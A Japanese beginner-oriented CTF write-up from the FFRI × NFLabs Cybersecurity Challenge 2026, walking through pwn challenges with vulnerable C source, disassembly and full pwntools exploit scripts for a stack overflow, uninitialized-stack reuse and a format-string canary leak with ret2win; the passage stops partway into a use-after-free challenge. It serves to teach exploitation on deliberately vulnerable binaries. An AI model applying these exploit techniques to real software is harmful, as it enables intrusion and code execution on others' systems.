はじめに
こんにちは、MooseLoveと申します。
2026年10月9日〜12日に開催された FFRI × NFLabs. Cybersecurity Challenge 2026 に参加しました。
結果は 14位 / 119人 でした。
最近は少し忙しく、あまり時間を使うことは出来ませんでしたが、そこそこの順位を取れたので個人的には満足です。
今回のCTFは、マルウェア解析など普段ではお目にかかれない問題や、NFLabsが提供しているPurple Flairを彷彿とさせるペンテスト問題など、面白い問題が数多くありました。
Purple Flairとは
NFLabs.が提供している実践型のサイバーセキュリティ学習システムです。
ブラウザ上で演習環境を立ち上げて、ペネトレーションテストやWebアプリの脆弱性診断、インシデント対応などを手を動かしながら学べます。
困った時に助けてくれるAIチャット機能もあります。
(異常なほどセキュリティに詳しい猫が教えてくれます。結構可愛いです)
https://www.nflabs.jp/service/purple-flair
その中でも、今回はPwn問題を4つ厳選して解説していこうと思います。
出来る限り初心者の方でも分かりやすいように書いたつもりです。
「CTF全然分かんねぇ」
「Pwnableあんまりやったことないな」
そんな人こそ、最後まで見ていただけたら嬉しいです。
想定される読者
- CTFに興味がある人
- Pwnableを始めたての人
- アセンブリアレルギーの人
それ以外のベテランさんも、知識の補強として見ていただければ幸いです。
実行環境
- OS:Ubuntu 22.04(WSL2)
- glibc:2.35
- pwntools:4.15.0
目次
- 問題一覧
- 1. do you know bof(200pts / 42 solves)
- 2. init(300pts / 25 solves)
- 3. Parrot(300pts / 20 solves)
- 4. good note(400pts / 16 solves)
- LLMの利用について
- おわりに
問題一覧
| 問題 | 難易度 | 配点 | solves | 使った脆弱性 | 結果 |
|---|---|---|---|---|---|
| do you know bof | ★★ | 200 | 42 | スタックBOF | 〇 |
| init | ★★★ | 300 | 25 | 初期化ミスを用いたスタックの再利用 | 〇 |
| Parrot | ★★★ | 300 | 20 | Format String、Canary leak、ret2win | 〇 |
| good note | ★★★★ | 400 | 16 | UAF、tcache poisoning | 〇 |
| Spider names | ★★★★★ | 500 | 7 | - | - |
| GentleFail | ★★★★★ | 500 | 9 | - | - |
今回解いた問題は「Pwn問題の登竜門」とも呼べるほどベーシックなもので、良いリハビリになりました。
後ろの500点問題は手を付けられませんでした。
正解者が少ないですね、よほど難しい問題だったのでしょう。
1. do you know bof(200pts / 42 solves)
1-1. まずソースコードを読む
配布されたソースコードの main は以下の通りです。
int main() {
char password[8];
char username[8];
printf("username >> ");
read(STDIN_FILENO, username, 8);
if (!strcmp(username,"admin\n")) {
printf("Admin cannot login.\n");
printf("Bye.\n");
return 0;
}
printf("password >> ");
read(STDIN_FILENO, password, 0x10);
printf("Hello %s.\n",username);
if (!strcmp(username,"admin\n")) {
printf("You are admin!\n");
win();
} else {
printf("You are not admin.\n");
printf("Bye.\n");
}
return 0;
}
win() は flag.txt を読んで表示してくれる関数です。
つまり win() が呼ばれればゴール です。
プログラムの流れを日本語にするとこうなります。
- ユーザー名を聞く
- ユーザー名が
adminなら「adminはログインできません」で終了 - パスワードを聞く
- ユーザー名が
adminならwin()を呼ぶ
adminだった場合蹴るのに、adminじゃないとダメ...矛盾しているプログラムです。
2と4でそのチェックがあるみたいですが、その間に何かしらの手法でチェックを抜けることはできないでしょうか?
「1回目の確認と2回目の確認の間に、ユーザー名を書き換えられないか?」 と考えるのが、この問題のスタート地点です。
本格的に解説を始める前に、まずこれからお決まりとなるコマンドを紹介します。
checksecと呼ばれるコマンドです。
checksec は、バイナリにどんなセキュリティ機構(攻撃を難しくする仕組み)が入っているかを一覧にしてくれるコマンドです。
pwntoolsをインストールすると一緒に使えるようになります。
pwntoolsとは
CTFのPwn問題を解くためのPythonライブラリです。
プログラムへの入力の送信や出力の受け取り、アドレスをバイト列に変換する処理などを簡単に書けるようにしてくれます。
https://docs.pwntools.com/en/stable/
$ checksec --file=./chall
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
今回の問題で関係するのは、次の2つです。
| 項目 | 意味 | 今回 |
|---|---|---|
| Arch | 何bitのどのCPU向けのバイナリか | 64bit(x86-64) |
| Stack | Canaryの有無。リターンアドレスの手前に値を置き、書き換えられていたら強制終了させる仕組み | あり |
リターンアドレスについては、後ほど説明します。
Pwnの問題では、解き始める前にまず checksec で「何が有効で、何が無効か」を確認して、使えそうな攻め方を絞り込むのが定石です。
この記事でも、以降の問題では毎回最初に checksec を実行していきます。
1-2. 脆弱性:8バイトの箱に16バイト入る
char password[8]; // 8バイトの箱
read(STDIN_FILENO, password, 0x10); // 0x10 = 16バイトまで読み込む
解説に戻ります。
コードを詳しく見てみると、password は8バイトしかないのに、read() は最大16バイト読み込みます。
8バイトを超えた分は password の外側に書き込まれます。
これが バッファオーバーフロー(BOF) です。
では、外側には何があるのか。ここが一番大事なところです。
1-3. 変数の位置を逆アセンブルで確認する
objdumpというコマンドを使えば、配布されたchallを逆アセンブルすることができます。
$ objdump -d -M intel --no-show-raw-insn chall | less
main の該当部分を抜粋します。
130d: mov rax,QWORD PTR fs:0x28 ; Canaryの値を取得し、raxに格納
1316: mov QWORD PTR [rbp-0x8],rax ; raxの値(Canary)をrbp-0x8 に保存
...
1330: lea rax,[rbp-0x10] ; ← 1回目の read の書き込み先 = username
1334: mov edx,0x8 ; 読み込みサイズ 8
1339: mov rsi,rax
133c: mov edi,0x0
1341: call read@plt
...
139c: lea rax,[rbp-0x18] ; ← 2回目の read の書き込み先 = password
13a0: mov edx,0x10 ; 読み込みサイズ 0x10
13a5: mov rsi,rax
13a8: mov edi,0x0
13ad: call read@plt
いきなりアセンブリを見せられても困ると思うので、1回目の read の部分を1行ずつ読んでみます。
まず mov です。
mov A,B は「BをAにコピーする」命令です。
例えば mov edx,0x8 は「edx というレジスタに 8 を入れる」、mov rsi,rax は「rax の中身を rsi にコピーする」という意味になります。
[ ] で囲まれている場合は「そのアドレスにあるメモリの中身」を表します。
なので mov rax,[rbp-0x10] と書くと、「rbp-0x10 というアドレスに置かれている値を rax に入れる」という意味です。
次に lea です。
lea(Load Effective Address)は、[ ] の中のアドレスを計算するだけの命令です。
mov rax,[rbp-0x10] が「rbp-0x10 に入っている値」を読むのに対して、lea rax,[rbp-0x10] は「rbp-0x10 というアドレスそのもの」を rax に入れます。
C言語で例えると、rax = &(rbp-0x10にある変数) のようなイメージです。
次に、関数に引数を渡す方法です。
x86-64のLinuxでは、関数の引数は1番目から順に rdi, rsi, rdx …というレジスタに入れて渡すルールになっています。
上のアセンブリでは、call read@plt の直前でこう設定されています。
| レジスタ | 入っている値 |
read() の引数 |
|---|---|---|
edi |
0 |
第1引数:ファイルディスクリプタ(0 = 標準入力) |
rsi |
rax(= rbp-0x10) |
第2引数:書き込み先のアドレス |
edx |
0x8 |
第3引数:読み込むサイズ |
ここで、edi と edx は、それぞれ rdi と rdx の下位32bit部分の名前です。
0や8のような小さい値なら32bitで足りるので、コンパイラは edi / edx に書き込む命令を使っています(32bitレジスタに書き込むと、上位32bitは自動で0になります)。
これをソースコードと見比べると、
read(edi=0, rsi=rbp-0x10, edx=8) #アセンブリ
read(STDIN_FILENO, username, 8) #元コード
と、きれいに対応します。
つまり、username は rbp-0x10 にあるということです。
2回目の read も同じように読むと、read(edi=0, rsi=rbp-0x18, edx=0x10) となり、password は rbp-0x18 にあることが分かります。
Canaryについては、関数の先頭の2行を見ます。
fs:0x28 は、Canaryの本物の値が保存されている場所です。
そこから値を取ってきて rbp-0x8 に置いているので、Canaryは rbp-0x8 にあることが分かります。
以上の位置関係を図にすると、こうなります。
高いアドレス
┌─────────────────────┐
rbp+0x08 │ return address │
├─────────────────────┤
rbp+0x00 │ saved rbp │
├─────────────────────┤
rbp-0x08 │ Canary │ ← ここは触らない
├─────────────────────┤
rbp-0x10 │ username[8] │ ← ここを書き換えたい!
├─────────────────────┤
rbp-0x18 │ password[8] │ ← read はここから書き始める
└─────────────────────┘
低いアドレス
read(0, password, 0x10) が書ける範囲:rbp-0x18 〜 rbp-0x09(16バイト)
図の上の2つ(return address と saved rbp)は、関数が呼ばれたときに自動的にスタックに積まれるものです。
-
return address(リターンアドレス):
mainの処理が終わったときに戻る先のアドレスです。call命令で関数が呼ばれた瞬間に、呼び出し元の「次の命令」のアドレスがここに積まれます。関数の最後のret命令は、ここに書かれたアドレスへジャンプします。ここを書き換えられると、好きな場所に処理を飛ばせてしまうので、Pwnでは一番の狙い目です。 -
saved rbp:呼び出し元の関数が使っていた
rbpの値です。rbpは「今の関数のスタックの基準位置」を指すレジスタで、関数の入口(push rbp)で呼び出し元の値をここに退避し、関数の出口(leave)で元に戻します。
Canaryがこの2つのすぐ手前(rbp-0x8)に置かれているのは、ローカル変数を溢れさせてリターンアドレスを書き換えようとすると、必ず先にCanaryを壊すことになるからです。
read() は書き込み先からアドレスが大きくなる方向に書いていくので、16バイト書くと
- 先頭8バイト →
password - 後半8バイト →
username
に入ります。しかも書ける範囲は rbp-0x09 までなので、rbp-0x08 のCanaryにはギリギリ届きません。
つまりこの問題は、Canaryを壊さずに隣の変数 username だけを書き換えられる、という作りになっています。
ちなみに、逆アセンブルに出てきた read@plt の PLT(Procedure Linkage Table) は、共有ライブラリにある関数を呼び出すための入口です。
call read@plt はPLTを経由してlibcの read() を呼び出し、その内部でLinuxカーネルへのシステムコールが使われます。
そのため call read@plt 自体は syscall 命令ではありません。
通常の関数呼び出しとシステムコールでは引数の渡し方が一部異なりますが、今回の read() の3引数は、どちらも rdi・rsi・rdx に対応します。
システムコールについてはこちらのサイトも参考になります。
1-4. strcmp() と read() の性質を押さえる
username を書き換えられることは分かりました。
では、何を書き込めば2回目のチェックを通過できるのでしょうか。
それを決めるには、比較している strcmp() と、書き込みに使う read() の性質を知っておく必要があります。
strcmp() は \0 が来るまで全部比べる
C言語の文字列は、「\0(NULバイト)が出てくるまで」が1つの文字列です。
strcmp(a, b) は、a と b を先頭から1バイトずつ比べていき、両方が同時に \0 に到達したときだけ「一致」(0)を返します。
比較相手の "admin\n" は、メモリ上では次の7バイトです。
a d m i n \n \0
なので username 側も、a d m i n \n の直後に \0 が来ていないと一致しません。
admin\n の後ろに1バイトでも余計な文字があれば、そこで「違う」と判定されます。
ちなみに比較相手が admin ではなく admin\n と改行まで含んでいるのは、ターミナルから入力したときに Enter の改行 \n も read() で読み込まれるからです。
read() は \0 を付けてくれない
一方 read() は、「指定されたバイト数を読んで、そのまま書き込むだけ」の関数です。
scanf() や fgets() と違って、最後に \0 を付け足してはくれません。
なので username を admin\n の6バイトだけで上書きすると、残りの2バイトには前に入っていたゴミが残ります。
username の8バイト
[0] [1] [2] [3] [4] [5] [6] [7]
a d m i n \n ? ? ← ? が \0 じゃないと strcmp が一致しない
つまり、admin\n の後ろは自分で \0 で塗りつぶしておく必要があります。
admin\n の後ろに \0 を2つ足して、username の8バイトをちょうど埋める形にします。
※厳密には、strcmp() は [6] の \0 で比較を終えるので、[7] は何が入っていても構いません。
今回は8バイトをきれいに埋めるために \0 を入れています。
1-5. パスワード入力でユーザー名を admin\n にする
ここまでをまとめると、作戦はこうなります。
(1) 最初の username 入力
username = "guest\n\0\0" → admin ではないので通過
(2) password 入力で16バイトを書き込む
password = "AAAAAAAA" (先頭8バイト)
username = "admin\n\0\0" (残り8バイトで上書き)
(3) 2回目の比較
strcmp(username, "admin\n") == 0
↓
win() が実行される
送るデータは、合計16バイトです。
password 部分: AAAAAAAA (8バイト)
username 部分: admin\n\0\0 (8バイト)
合計 16バイト = 0x10
1回目の guest\n の後ろにも \0 を2つ付けて8バイトちょうどにしているのは、read() が「8バイトまで読む」関数だからです。
入力が8バイトより短いと、タイミングによっては次に送るパスワードの先頭まで1回目の read() に読まれてしまうことがあるので、ぴったり8バイトにしておくと安心です。
1-6. Exploit
from pwn import *
#contextに配布されたバイナリを読み込ませておくと、自動で色々設定してくれるので便利
context.binary = elf = ELF("./chall", checksec=False)
#ローカルで試すときはこっち
#io = process("./chall")
#リモート接続はこっち
io = remote("x.x.x.x", xxxx)
io.sendafter(b"username >> ", b"guest\n\x00\x00")
payload = b"A" * 8 # password を埋める
payload += b"admin\n\x00\x00" # username を "admin\n\0" で上書き
io.sendafter(b"password >> ", payload)
print(io.recvall(timeout=2).decode(errors="replace"))
なお、Pwntoolsの使い方についてはこのサイトが上手にまとめてあると思います。
日本語の記事は貴重ですので、私もかなりお世話になっています。
そして、このプログラムを実行した結果はこうなりました。
Hello admin
.
You are admin!
flag{this_is_a_test_flag}
本番環境では以下のフラグが得られました。
flag{46c2f1a0d7e9b3c625f84d1e6}
2. init(300pts / 25 solves)
2-1. まずソースコードを読む
配布されたソースコードのうち、関係する部分は以下の通りです。
void check(int32_t input_num){
struct Data {
int32_t alfa;
unsigned char bravo[4];
int32_t charlie;
unsigned char delta;
int32_t echo;
unsigned char foxtrot[4];
};
struct Data data;
data.alfa = 1;
strcpy(data.bravo,"abcd");
data.charlie = 2;
data.delta = 'a';
data.echo = 1440;
data.foxtrot[0] = 0xab;
if (input_num <= 100) {
data.foxtrot[1] = 0x00;
}
data.foxtrot[2] = 0xcd;
data.foxtrot[3] = 0xef;
if(((data.foxtrot[1] & 0xfc) == 0xc8) && (data.foxtrot[1] != 0xc8)){
print_flag();
}
}
int32_t input(){
unsigned char name[8];
int32_t fav_num = -1;
memset(name, 0, sizeof(name));
printf("Input your name: ");
scanf("%7s",name);
clear();
printf("Input your favorite number: ");
scanf("%d",&fav_num);
clear();
printf("hello, %s !!!\nYour favorite number is %d !!!\n", name, fav_num);
return fav_num;
}
int main(){
...
num = input();
check(num);
return 0;
}
print_flag() が呼ばれればゴールです。
プログラムの流れはこうなります。
-
input()で名前と好きな数字を聞く -
check()に好きな数字を渡す -
check()の中で、構造体dataのfoxtrot[1]が条件を満たしていればフラグを表示する
いつも通り、まずは checksec です。
$ checksec --file=./init
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
1問目と同じく、ほぼ全部有効です。
2-2. フラグの条件を読み解く
条件は foxtrot[1] についての2つです。
(foxtrot[1] & 0xfc) == 0xc8foxtrot[1] != 0xc8
& はビットごとのAND(両方が1のビットだけ1にする演算)です。
0xfc を2進数にすると 1111 1100 なので、& 0xfc をすると下位2ビットが強制的に0になります。
ANDの結果を1ビットずつ表にするとこうなります。
| A | B | A & B |
|---|---|---|
| 0 | 0 | 0 |
| 0 | 1 | 0 |
| 1 | 0 | 0 |
| 1 | 1 | 1 |
片方が 0 なら、もう片方が何であっても結果は 0 です。
0xfc は下位2ビットが 0 なので、AND を取ると下位2ビットは必ず 0 になる、というわけです。
つまり条件1は、「下位2ビットを無視したら 0xc8 と同じ」という意味です。
0xc8 = 1100 1000 → & 0xfc = 1100 1000 (0xc8) ○ でも条件2で ×
0xc9 = 1100 1001 → & 0xfc = 1100 1000 (0xc8) ○
0xca = 1100 1010 → & 0xfc = 1100 1000 (0xc8) ○
0xcb = 1100 1011 → & 0xfc = 1100 1000 (0xc8) ○
0xcc = 1100 1100 → & 0xfc = 1100 1100 (0xcc) ×
条件2で 0xc8 ちょうどは除外されます。
なので、foxtrot[1] が 0xc9、0xca、0xcb のどれかならフラグが出ます。
2-3. foxtrot[1] に値を入れる方法は?
ところが、check() の中で foxtrot[1] に値を入れているのは次の1か所だけです。
if (input_num <= 100) {
data.foxtrot[1] = 0x00;
}
好きな数字が100以下だと 0x00 が入ってしまい、条件を満たしません。
では101以上にしたらどうなるでしょうか。
その場合、foxtrot[1] には何も代入されません。
struct Data data; は初期化されていないため、C言語の仕様上、foxtrot[1] がどのような値になるかは保証されません。
ただし、今回の配布バイナリではこの位置に新しい値を書き込まず、スタック上に残っていた値をそのまま読み出します。
では、その場所を直前に使っていたのは誰でしょうか。
main() を見ると、check() の直前に input() が呼ばれています。
num = input();
check(num);
関数のローカル変数はスタックに置かれ、関数が終わってもその中身は消されません。
input() と check() はどちらも main() から呼ばれているので、input() が使っていたスタックの場所を、そのまま check() が使うことになります。
つまり、input() で入力した値が foxtrot[1] の位置に残っていれば、条件を満たせるかもしれません。
2-4. 2つの関数の変数の位置を突き合わせる
1問目と同じように、objdump で変数の位置を確認します。
$ objdump -d -M intel --no-show-raw-insn init | less
input() の該当部分です。
1461: mov DWORD PTR [rbp-0x14],0xffffffff ; fav_num = -1
1468: lea rax,[rbp-0x10] ; name のアドレス
146c: mov edx,0x8
1471: mov esi,0x0
1476: mov rdi,rax
1479: call memset@plt ; memset(name, 0, 8)
memset(アドレス, 値, サイズ) は、指定したアドレスから指定したサイズ分を、同じ値で埋める関数です。
ここでは name の8バイトを 0 で埋めています。
check() の該当部分です。
13ed: mov DWORD PTR [rbp-0x10],0x5a0 ; echo = 1440
13f4: mov BYTE PTR [rbp-0xc],0xab ; foxtrot[0] = 0xab
13f8: cmp DWORD PTR [rbp-0x24],0x64 ; input_num と 100 を比べる
13fc: jg 1402 ; 100より大きければ次の1行を飛ばす
13fe: mov BYTE PTR [rbp-0xb],0x0 ; foxtrot[1] = 0
1402: mov BYTE PTR [rbp-0xa],0xcd ; foxtrot[2] = 0xcd
1406: mov BYTE PTR [rbp-0x9],0xef ; foxtrot[3] = 0xef
140a: movzx eax,BYTE PTR [rbp-0xb] ; foxtrot[1] を読み込む
ここで新しく出てきた命令や表記も確認しておきます。
| 命令・表記 | 意味 |
|---|---|
DWORD PTR / BYTE PTR
|
何バイト分を読み書きするか。DWORD は4バイト、BYTE は1バイト |
cmp A,B |
AとBを比べる(結果は次の命令で使う) |
jg 先 |
直前の cmp で「Aの方が大きい」なら、指定した場所へジャンプする |
movzx |
1バイトなど小さい値を読み込んで、大きいレジスタに入れる mov
|
cmp と jg の組み合わせが、ソースの if (input_num <= 100) に当たります。
101以上なら 13fe の行が飛ばされるので、rbp-0xb には何も書き込まれません。
ここから、
-
input()のnameはrbp-0x10〜rbp-0x9(8バイト) -
check()のfoxtrot[1]はrbp-0xb
にあることが分かります。
name の先頭 rbp-0x10 から1バイトずつ数えてみます。
rbp-0x10 rbp-0x0f rbp-0x0e rbp-0x0d rbp-0x0c rbp-0x0b
name[0] name[1] name[2] name[3] name[4] name[5]
rbp-0x0b は name[5] に当たり、foxtrot[1] と同じ場所です。
つまり、名前の6文字目がそのまま foxtrot[1] として読まれます。
2-5. 入力を組み立てる
ここまでをまとめると、入力はこうなります。
- 名前:6文字目(
name[5])が0xc9〜0xcb→AAAAA\xc9 - 好きな数字:101以上 →
101
scanf("%7s") はスペースや改行で区切って読み込む関数です。
0xc9 はスペースや改行ではないので、問題なく name に入ります。
2-6. Exploit
from pwn import *
#ローカルで試すときはこっち
#io = process("./init")
#リモートはこっち
io = remote("x.x.x.x", xxxx)
# name[5] が check() の foxtrot[1] と重なる
io.sendlineafter(b"Input your name: ", b"AAAAA\xc9")
# 100以下だと foxtrot[1] = 0 が実行されてしまうので101以上を指定
io.sendlineafter(b"Input your favorite number: ", b"101")
print(io.recvall(timeout=2).decode(errors="replace"))
hello, AAAAA� !!!
Your favorite number is 101 !!!
====================
Congratulations!!
flag{this_is_a_test_flag}
====================
本番環境では以下のフラグが得られました。
flag{D0_n0t_f0rg3t_1n1t1@l1z3_d@t@}
3. Parrot(300pts / 20 solves)
3-1. まずソースコードを読む
配布されたソースコードのうち、関係する部分は以下の通りです。
void challenge(void) {
char message[64];
char words[64];
printf("Parrot: Squawk! Tell me something!\n");
printf("You: ");
if (!fgets(words, sizeof(words), stdin)) {
printf("Parrot: ...Squawk? You didn't say anything...\n");
exit(1);
}
printf("Parrot: Squawk! You said: ");
printf(words);
printf("Parrot: Oops... Was that supposed to be secret??\n");
printf("Parrot: Whatever, you can leave a message for the owner!\n");
printf("You: ");
read(0, message, 256);
printf("Parrot: Squawk! Message received! :)\n");
}
win() はフラグ(parrots_memory.txt)を表示してくれる関数ですが、どこからも呼ばれていません。
プログラムの流れはこうなります。
- 何か言葉を入力すると、オウムがそのまま繰り返す
- 飼い主へのメッセージを入力する
いつも通り checksec です。
$ checksec --file=./parrot
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
今回関係するのは、次の3つです。
| 項目 | 意味 | 今回 |
|---|---|---|
| Arch | 何bitのどのCPU向けのバイナリか | 32bit(i386) |
| Stack | Canaryの有無 | あり |
| PIE | プログラムが読み込まれるアドレスを毎回ランダムにする仕組み | 無効 |
PIEが無効なので、win() のアドレスは毎回同じです。
これは後で使います。
3-2. 脆弱性が...複数?
勘のいい方はビビッと来たのではないでしょうか?
そうです、今回のコードには脆弱性が2つあります。
まず read(0, message, 256) です。
message は64バイトしかないのに、256バイトまで読み込みます。
1問目と同じBOFなので、message を溢れさせればリターンアドレスを win() に書き換えられそうです。
本来はmainの処理に戻るために保存されている値をwinに書き換えることで、関数終了後に遷移するアドレスを変えてしまいましょう。
ただし今回は、1問目と違ってリターンアドレスまで書き換えたいので、途中にあるCanaryを壊してしまいます。
Canaryが壊れていると、関数を抜ける前に *** stack smashing detected *** と表示されて強制終了します。
逆に言えば、Canaryの値さえ分かれば、同じ値を書き戻しながらリターンアドレスだけを書き換えられます。
そこで使うのが、もう1つの脆弱性が潜んでいる printf(words); です。
3-3. Format String Bug
printf は、1つ目の引数(書式文字列)の中にある %d や %p を見つけると、2つ目以降の引数を順番に取り出して表示します。
printf("%d %d", 1, 2); // → "1 2"
%p は、値を 0x... の16進数で表示する指定です。
今回は、入力した words がそのまま書式文字列として printf に渡されています。
なので words に %p を入れると、2つ目の引数が渡されていないにもかかわらず、printf は2つ目の引数があるはずの場所から値を取り出して表示してしまいます。
これが Format String Bug(FSB) です。
本来は printf("%s", words); と書くべきところです。
3-4. スタックを特定してみよう
「2つ目の引数があるはずの場所」がどこなのかは、32bitか64bitかで変わります。
1問目(64bit)では、引数は rdi, rsi, rdx …というレジスタで渡していました。
一方、今回の32bitでは、引数はスタックに積んで渡します。
スタックに値を積むのが push 命令です。
push すると、esp(スタックの一番上を指すレジスタ)が4バイト小さくなり、そこに値が置かれます。
challenge() の中で printf(words) を呼んでいる部分を見てみます。
8049383: push ebp
8049384: mov ebp,esp
8049386: push ebx
8049387: sub esp,0x94 ; esp = ebp - 0x98
...
8049398: mov eax,gs:0x14 ; Canaryの値を取得し、eaxに格納
804939e: mov DWORD PTR [ebp-0xc],eax ; eaxの値(Canary)をebp-0xcに保存
...
8049413: sub esp,0xc ; esp = ebp - 0xa4
8049416: lea eax,[ebp-0x4c] ; words のアドレス
8049419: push eax ; esp = ebp - 0xa8 に words のアドレスを置く
804941a: call printf@plt ; printf(words)
32bitでは、レジスタ名の先頭が r ではなく e になります(rbp → ebp、rsp → esp)。
sub esp,0x94 は「esp から 0x94 を引く」という命令で、ローカル変数を置く場所をスタックに確保しています。
引くのは 0x94 なのに ebp - 0x98 になるのは、直前の push ebx で esp がすでに4バイト下がっているからです(0x94 + 4 = 0x98)。
call printf の直前、スタックはこうなっています。
ebp-0xa8 : words のアドレス ← printf の1つ目の引数(書式文字列)
ebp-0xa4 : ???? ← 2つ目の引数の場所(%1$p で読める)
ebp-0xa0 : ???? ← %2$p
...
ebp-0x0c : Canary ← %?$p
%N$p と書くと、「書式文字列の後ろのN番目」を直接指定して表示できます。
1つ進むごとに4バイト(32bitなので)なので、Canaryは
(0xa8 - 0x0c) / 4 = 0x9c / 4 = 39
%39$p でCanaryが読める計算になります。
実際の出力でも確かめてみましょう。
ここで、Canaryを探すときの手掛かりが1つあります。
Linuxのstack canaryは、通常、最下位バイトが 00 になるように作られています。
先ほどの strcmp() の説明 で触れたように、C言語の文字列処理では \0 を終端として扱います。そのため、Canaryの最下位バイトを 00 にすることで、文字列経由の漏洩や上書きを難しくしています。
そこで、%1$p から順番に表示して、末尾が 00 の値をCanaryの候補として探してみます。
$ for n in $(seq 1 45); do printf "%%${n}\$p\n" | ./parrot | grep -o "said: .*00$" | sed "s/^/%${n}\$p -> /"; done
%8$p -> said: 0xf7fa3d00
%13$p -> said: 0xf7f57000
%19$p -> said: 0xf7fac000
%34$p -> said: 0x2000
%39$p -> said: 0xe9cc6400
%40$p -> said: 0xf7f28d00
候補が6つ出てきました。
もう一度実行すると、こうなります。
%8$p -> said: 0xf7f9bd00
%13$p -> said: 0xf7f6f000
%19$p -> said: 0xf7f30000
%34$p -> said: 0x2000
%39$p -> said: 0x2647a700
%40$p -> said: 0xf7eced00
-
%34$pは2回とも0x2000で変化しておらず、Canaryの候補から外せそうです。 -
%8$p、%13$p、%19$p、%40$pはいずれも0xf7から始まっています。 -
%39$pは末尾が00で、実行するたびに値が変わっています。
ここで、0xf7 あたりのアドレスについてAIに聞いてみました。
どうやら、32bitのLinuxではlibcなどの共有ライブラリがこの付近に配置されることがあるそうです。
よって、0xf7あたりのアドレスについては「ハズレかな?」と判断できます。
Canaryも、単に末尾が 00 というだけでは特定できません。
逆アセンブルから計算した ebp-0xc の位置が %39$p に対応しており、実際の出力もCanaryの特徴と一致するので、%39$p を使うことにします。
3-5. リターンアドレスまでの距離を計算する
次に、read(0, message, 256) で何バイト書けばどこに届くかを確認します。
8049458: sub esp,0x4
804945b: push 0x100 ; 第3引数:256
8049460: lea eax,[ebp-0x8c] ; message のアドレス
8049466: push eax ; 第2引数:message
8049467: push 0x0 ; 第1引数:0(標準入力)
8049469: call read@plt
引数は後ろから順に push されるので、message は ebp-0x8c にあると分かります。
先ほどの words は ebp-0x4c でした。
図にするとこうです。
高いアドレス
┌─────────────────────┐
ebp+0x04 │ return address │ ← win() に書き換えたい
├─────────────────────┤
ebp+0x00 │ saved ebp │
├─────────────────────┤
ebp-0x04 │ saved ebx │
├─────────────────────┤
ebp-0x08 │ 未使用領域 (4byte) │
├─────────────────────┤
ebp-0x0c │ Canary │ ← 元の値を書き戻す
├─────────────────────┤
ebp-0x4c │ words[64] │
├─────────────────────┤
ebp-0x8c │ message[64] │ ← read はここから書き始める
└─────────────────────┘
低いアドレス
saved ebx は、関数の最初の push ebx で退避された ebx の値です。
また、ebp-0x8 からの4バイトは、この関数の逆アセンブルでは参照されていない未使用領域です。
-
messageの先頭からCanaryまで:0x8c - 0x0c = 0x80(128バイト) - Canaryの後ろからリターンアドレスまで:未使用領域4バイト + saved ebx 4バイト + saved ebp 4バイト =
0xc(12バイト)
なので、送るデータはこうなります。
"A" * 0x80 + Canary(4バイト) + "B" * 0xc + win のアドレス(4バイト)
win() のアドレスは、PIEが無効なので固定です。
$ nm parrot | grep win
0804924e T win
nm は、バイナリに含まれる関数や変数の名前とアドレスを一覧にしてくれるコマンドです。
gdb-pedaを使っている場合は、disas win でも確認できます。
win() を逆アセンブルした結果の、先頭の行のアドレス(0x0804924e)が win() のアドレスです。
gdb-peda$ disas win
Dump of assembler code for function win:
0x0804924e <+0>: push ebp
0x0804924f <+1>: mov ebp,esp
...
3-6. Exploit
from pwn import *
#contextに配布されたバイナリを読み込ませておくと、自動で色々設定してくれるので便利
context.binary = elf = ELF("./parrot", checksec=False)
#ローカルで試すときはこっち
#io = process("./parrot")
#リモートはこっち
io = remote("x.x.x.x", xxxx)
# 39番目の引数 = Canary を読む
io.sendlineafter(b"You: ", b"%39$p")
io.recvuntil(b"You said: ")
canary = int(io.recvline().strip(), 16)
log.success(f"canary = {canary:#010x}")
payload = b"A" * 0x80 # message と words を埋める
payload += p32(canary) # Canary を元の値で書き戻す
payload += b"B" * 0xc # 未使用領域 + saved ebx + saved ebp
payload += p32(elf.sym["win"]) # return address を win() に
io.sendafter(b"You: ", payload)
print(io.recvall(timeout=2).decode(errors="replace"))
p32() は、数値を32bitのリトルエンディアンのバイト列に変換するpwntoolsの関数です。
elf.sym["win"] で、win() のアドレスを自動で取り出せます。
[+] canary = 0xe8d31e00
...
Parrot: Squawk! The cage is open!
Parrot: This is what the owner said:
flag{this_is_a_test_flag}
本番環境では以下のフラグが得られました。
flag{1m_4_p4rr07_n07_4_c4n4ry}
4. good note(400pts / 16 solves)
4-1. まずソースコードを読む
ノートを作成・編集・削除・表示できるプログラムです。
関係する部分を抜粋します。
#define BUFFER_SIZE 0x20
#define MAX_NOTE 0x4
typedef struct Note {
char *data;
int is_used;
} Note;
Note notes[MAX_NOTE];
struct {
void (*finalizer)(void);
char _pad[8];
} state __attribute__((aligned(0x10)));
void create_note() {
char *data = NULL;
for (int i = 0; i < MAX_NOTE; i++) {
if (!notes[i].is_used) {
data = (char *)malloc(BUFFER_SIZE);
notes[i].data = data;
notes[i].is_used = true;
break;
}
}
...
}
void edit_note() {
...
printf("content >> ");
read(STDIN_FILENO, notes[index].data, BUFFER_SIZE);
}
void delete_note() {
...
if (!notes[index].is_used) { printf("already freed\n"); return; }
free(notes[index].data);
notes[index].is_used = false;
}
void show_note() {
for (int i = 0; i < MAX_NOTE; i++) {
printf("notes[0x%x]\n", i);
if (notes[i].data) {
printf("%s\n",notes[i].data);
} else {
printf(" not allocated\n");
}
}
}
int main() {
...
state.finalizer = normal_exit;
while (is_continued) { ...メニュー... }
state.finalizer();
return 0;
}
win() はフラグを表示してくれる関数ですが、今回もどこからも呼ばれていません。
プログラムの流れはこうなります。
- メニューから番号を選ぶ(1:作成、2:編集、3:削除、4:表示)
- 1〜4以外を選ぶとメニューを抜ける
- 最後に
state.finalizer()を呼んで終了する
気になるのは3の state.finalizer() です。
finalizer は関数ポインタ(呼び出す関数のアドレスを入れておく変数)です。
main() の最初で state.finalizer = normal_exit; と入れているので、普段は normal_exit()(bye と表示するだけ)が呼ばれます。
怪しいですね...普通にmain()の中でやれば良いものを。
仮に、この中身が normal_exit ではなく win のアドレスだったらどうなるでしょうか。
メニューを抜けたときに、win() が呼ばれることになります。
なんとかして state.finalizer を書き換える方法を探していきます。
いつも通り checksec です。
$ checksec --file=./good_note
Arch: amd64-64-little
RELRO: Partial RELRO
